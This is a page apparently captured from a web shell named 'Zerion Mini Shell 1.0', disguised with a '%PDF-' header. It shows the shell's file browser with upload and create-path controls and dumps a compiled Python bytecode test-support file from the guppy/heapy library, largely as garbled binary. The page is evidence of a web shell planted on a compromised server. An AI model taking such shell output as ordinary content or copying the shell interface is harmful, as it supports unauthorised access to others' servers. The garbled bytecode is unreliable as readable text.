%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyo

�
;�Pc@s�dZddlZdefd��YZdefd��YZdefd��YZd	ZdZda	d
�Z
d�Zd�Zd
�Z
dd�ZdZd�Zyed	ZWnek
r�dZnXddlZejdkr�dZnNejdkr9dZer?edd�Zejdkr6dZq6q?ndZ[ddlmZed�Zdd�Zd�Zd �Zd!�Zddl Z d"d*d#��YZ!dd$�Z"dd%�Z#d&�Z$dd'�Z%d(e j&fd)��YZ&dS(+siSupporting definitions for the Heapy regression test.
Addapted from Python standard module test_support.
i����NtErrorcBseZdZRS(s*Base class for regression test exceptions.(t__name__t
__module__t__doc__(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyR	st
TestFailedcBseZdZRS(sTest failed.(RRR(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyRstTestSkippedcBseZdZRS(s!Test skipped.

    This can be raised to indicate that a test was deliberatly
    skipped, but not because a feature wasn't available.  For
    example, if some resource can't be used, such as the network
    appears to be unavailable, this should be raised instead of
    TestFailed.
    (RRR(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyRsicCs
|adS(N(t_original_stdout(tstdout((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytrecord_original_stdout scCs
tptjS(N(RtsysR(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytget_original_stdout$scCs&ytj|=Wntk
r!nXdS(N(R	tmodulestKeyError(tname((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytunload's
cCsit|�ddl}xLtjD]A}y$|j|jj||d��Wq |jk
r`q Xq WdS(Ni����s.pyc(RtosR	tpathtunlinktjointerror(tmodnameRtdirname((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytforget-s
$cCsDtdk	r@|tkr@|dkr1d|}nt|��ndS(Ns$Use of the `%s' resource not enabled(t
use_resourcestNoneR(tresourcetmsg((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytrequires6s
g���ư>cCs?t|�td�ks0t|�td�kr�yMt||�\}}t|�t|�t}t||�|kr|dSWq2q2Xn�t|�t|�kr2t|�td�tg�fkr2xPttt|�t|���D]-}t||||�}|dkr�|Sq�Wtt|�t|��St||�S(Ngi((	ttypetcoercetabstFUZZtrangetmintlentfcmptcmp(txtytfuzztitoutcome((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyR#>s0<(itjavas$testtriscoss@tests@test-��slatin-1tnttmbcsttest(RcCs�ddl}|jj|�r"|Stj}|jj|�g|}x9|D]1}|jj||�}|jj|�rK|SqKW|S(Ni����(RRtisabsR	RRtexists(tfilethereRRtdntfn((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytfindfilegs	
stest failedcCs|st|��ndS(s�Verify that condition is true. If not, raise TestFailed.

       The optional argument reason can be given to provide
       a better error text.
    N(R(t	conditiontreason((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytverifyrscCs&||ks"td||f�ndS(s$Raise TestFailed if a == b is false.

    This is better than verify(a == b) because, in case of failure, the
    error message incorporates repr(a) and repr(b) so you can see the
    inputs.

    Note that "not (a == b)" isn't necessarily the same as "a != b"; the
    former is tested.
    s%r == %rN(R(tatb((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytvereq|scCsJ|j�}|j�g|D]}d|^q}dj|�}d|S(s%Like repr(dict), but in sorted order.s%r: %rs, s{%s}(titemstsortR(tdictR<tpairt	reprpairst
withcommas((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytsortdict�s

cCs5yt|dd�Wntk
r'n
Xd|GHdS(Ns<string>texecsMissing SyntaxError: "%s"(tcompiletSyntaxError(t	statement((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytcheck_syntax�s

tBasicTestRunnercBseZd�ZRS(cCstj�}||�|S(N(tunittestt
TestResult(tselfR.tresult((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytrun�s
(RRRM(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyRH�scCs�tr!tjtjdd�}n	t�}|j|�}|j�s�t|j	�dkrx|j
rx|j	dd}njt|j
�dkr�|j	r�|j
dd}n7|dkr�d}nd|j|j
f}t|��t|��ndS(s2Run tests from a unittest.TestSuite-derived class.t	verbosityiiis0errors occurred; run in verbose mode for detailsserrors occurred in %s.%sN(tverboseRItTextTestRunnerR	RRHRMt
wasSuccessfulR"terrorstfailuresRRRR(tsuitet	testclasstrunnerRLterrR((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyt	run_suite�s		cCs3tj|�}|r"|j�n
t||�dS(s1Run tests from a unittest.TestCase-derived class.N(RIt	makeSuitetdebugRX(RURZRT((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytrun_unittest�s
cCst|dd�dS(s4 Debug tests from a unittest.TestCase-derived class.RZiN(R[(RU((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytdebug_unittest�scCs�ddl}|dkr!t}nd}tj}t�t_zH|j|d|�\}}|rytd||f��n||fSWd|t_XdS(s
Run doctest on the given module.  Return (#failures, #tests).

    If optional argument verbosity is not specified (or is None), pass
    test_support's belief about verbosity on to doctest.  Else doctest's
    usual behavior is used (it searches sys.argv for -v).
    i����NROs%d of %d doctests failed(tdoctestRROR	RR
ttestmodR(tmoduleRNR]tsave_stdouttftt((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytrun_doctest�s		tTestCasecBs2eZd�Zdd�Zdd�Zd�ZRS(cCs�ddlm}|�|_|jj|_|jj|_|jj|_|jj|_|jj|_|jj|_|jj|_|jj	|_	|jj
|_
dS(Ni����(tRoot(tguppyRetpythontheapytParttImpSettUsetViewt allocation_behaves_as_originallytisotidset(RKRe((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytsetUp�sicCsZ||krVdG|GHdG|GH|dkrV|dkrCtj�qS|jd�qVndS(Nsaseq: Expected: b = sGot actually  : a = i(tpdbt	set_tracetassert_(RKR9R:tcont((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytaseq�s		
cCsZ||k	rVdG|GHdG|GH|dkrV|dkrCtj�qS|jd�qVndS(Nsasis: Expected: b = sGot actually  : a = i(RqRrRs(RKR9R:Rt((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pytasiss		
cCsdS(N((RK((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyttearDowns(RRRpRuRvRw(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyRd�s	


(('RR	t	ExceptionRRRRORRRRR
RRRRR#tunicodethave_unicodet	NameErrorRR
tTESTFNtTESTFN_UNICODEtTESTFN_ENCODINGRt__file__R5R8R;RBRGRIRHRXR[R\RcRd(((sK/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/support.pyt<module>sV
						


	
			
		

Zerion Mini Shell 1.0